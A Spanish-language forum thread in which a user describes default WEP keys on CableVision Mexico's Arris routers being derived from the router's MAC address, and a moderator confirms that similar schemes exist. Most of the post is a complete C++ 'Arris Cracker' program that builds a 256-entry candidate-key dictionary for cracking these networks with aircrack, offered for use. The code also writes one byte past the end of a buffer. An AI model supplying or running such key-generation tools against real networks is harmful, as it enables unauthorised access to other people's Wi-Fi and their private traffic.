Autor Tema: Vulnerabilidad en Routers Arris de la Compañia CableVision "Mexico"  (Leído 2638 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Mr-x

  • Mensajes: 1
  • Liked: 1
Hago este post para todos los usuarios avanzados y no tan avanzados que se interesan por la seguridad de sus redes inalambricas y de la privacidad de sus datos.

Para empezar como lo dice el titulo encontre en internet una vulnerabilidad en los routers de la compañia CableVision la cual Otorga Routers de marca Arris a sus usuarios el problema es que la WEP-KEY es igual que la MAC Address del Router pero empieza con m y solo puede cambiar los ultimos dos caracteres de la mac (Los cuales estan es Hexadecimal) si aun no me entiendes voy a poner un ejemplo:

Supongamos que te llega la señal de una red WI-FI con nombre InterCable102710 y la MAC del Router es
00:1D:D2:57:64:E0

esto quiere decir que la contraseña por default es m001dd25764XX
Donde XX son los caracteres que pueden Variar

Obviamente la WEP-KEY puede ser crackeada en cuestion de minutos con aircrack y un diccionario con las todas posibles conbinaciones para ello diseñe un script en C el cual te permite crear ese diccionario el resto depende de tus conociminetos y habilidad con aircrack.

Este es el codigo fuente para crear los diccionarios.
Código: [Seleccionar]
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

using namespace std;

void Banner();
bool VerifyMac(int charPosition);
void MakeDictionary(char mac[10]);

int main(int argc, char *argv[])
{
    unsigned short int characterPosition = 0;   //Contador: Indice general para controlar Bucles
    unsigned short int imac = 0;                //Contador: Indice de la mac Modificada
    char mac[18] = "11:22:33:44:55:66";           //MAC Address del Router
    char macModificada[10];              //MAC address sin los puntos ':' y sin los Ultimos dos caracteres
    char *p;
    bool bandera;

    Banner();
    cout << "\n\nEscribe La MAC Address del Router: " << endl;
    cin >> mac;

    while(characterPosition < 15){
        //si el caracter es ':' bandera es true
        bandera = VerifyMac(characterPosition);

        if(!bandera){
            //Pasamos los caracteres a una variable nueva sin los puntos ':'
            p = &mac[characterPosition];
            macModificada[imac] = *p;
            imac++;
        }
        characterPosition++;
    }
    macModificada[10]=0;

    //printf("Mac \t\t= %s\n",mac);
    //printf("Mac Modificada\t= %s\n",macModificada);
    //Creamos el Diccionario
    MakeDictionary(macModificada);
    return 0;
}

void MakeDictionary(char mac[10]){

    short int caracteres[15];               //Codigo ascii de los caracteres del sistema HEXADECIMAL
    short int index = 0;                    //Contador Para bucles For

    //Asignamos los numeros 0-9 en el array caracteres
    for(short int ascii_code = 48; ascii_code <= 57; ascii_code++){
        caracteres[index] = ascii_code;
        index++;
    }

    //asignamos las letras de a-f en el array caracteres
    for(short int ascii_code = 97; ascii_code <= 102; ascii_code++){
        caracteres[index] = ascii_code;
        index++;
    }

    FILE *fichero;
    fichero = fopen("dic.txt","w");
        for(int cont1 = 0 ;cont1 <= 15; cont1++){
            for(int cont2 = 0 ;cont2 <= 15; cont2++){
                fputc(109,fichero);                 //caracter M
                fputs(mac, fichero);
                fputc(caracteres[cont1],fichero);
                fputc(caracteres[cont2],fichero);
                fputc(10,fichero);                    //salto de linea
            }
        }

    fclose(fichero);
}

bool VerifyMac(int position){

    int positions[]={2,5,8,11,14};
    bool flag = false;

    for(int i = 0; i < 5; i++){
        if(positions[i] == position){
        flag = true;
        break;
        }
    }

    return flag;
}

void Banner(){
    cout << "    _              _        ____                _                " << endl;
    cout << "   / \\   _ __ _ __(_)___   / ___|_ __ __ _  ___| | _____ _ __   " << endl;
    cout << "  / _ \\ | '__| '__| / __| | |   | '__/ _` |/ __| |/ / _ \\ '__| " << endl;
    cout << " / ___ \\| |  | |  | \\__ \\ | |___| | | (_| | (__|   <  __/ |   " << endl;
    cout << "/_/   \\_\\_|  |_|  |_|___/  \\____|_|  \\__,_|\\___|_|\\_\\___|_|"<< endl;
}
« Última Modificación: octubre 24, 2017, 07:06:07 pm por Mr-x »

hkm

  • Moderador
  • *
  • Mensajes: 1245
  • Liked: 288
    • Hakim.Ws
Re:Vulnerabilidad en Routers Arris de la Compañia CableVision "Mexico"
« Respuesta #1 : octubre 11, 2017, 04:05:46 pm »
Varios provedores de cable en Mexico usan la MAC o variación de la MAC de WEP/WPA.

Existen post en el foro que comentan al respecto e incluso hay codigo fuente por aquí para identificar rápidamente la clave inalámbrica de estos dispostivos.

Saludos.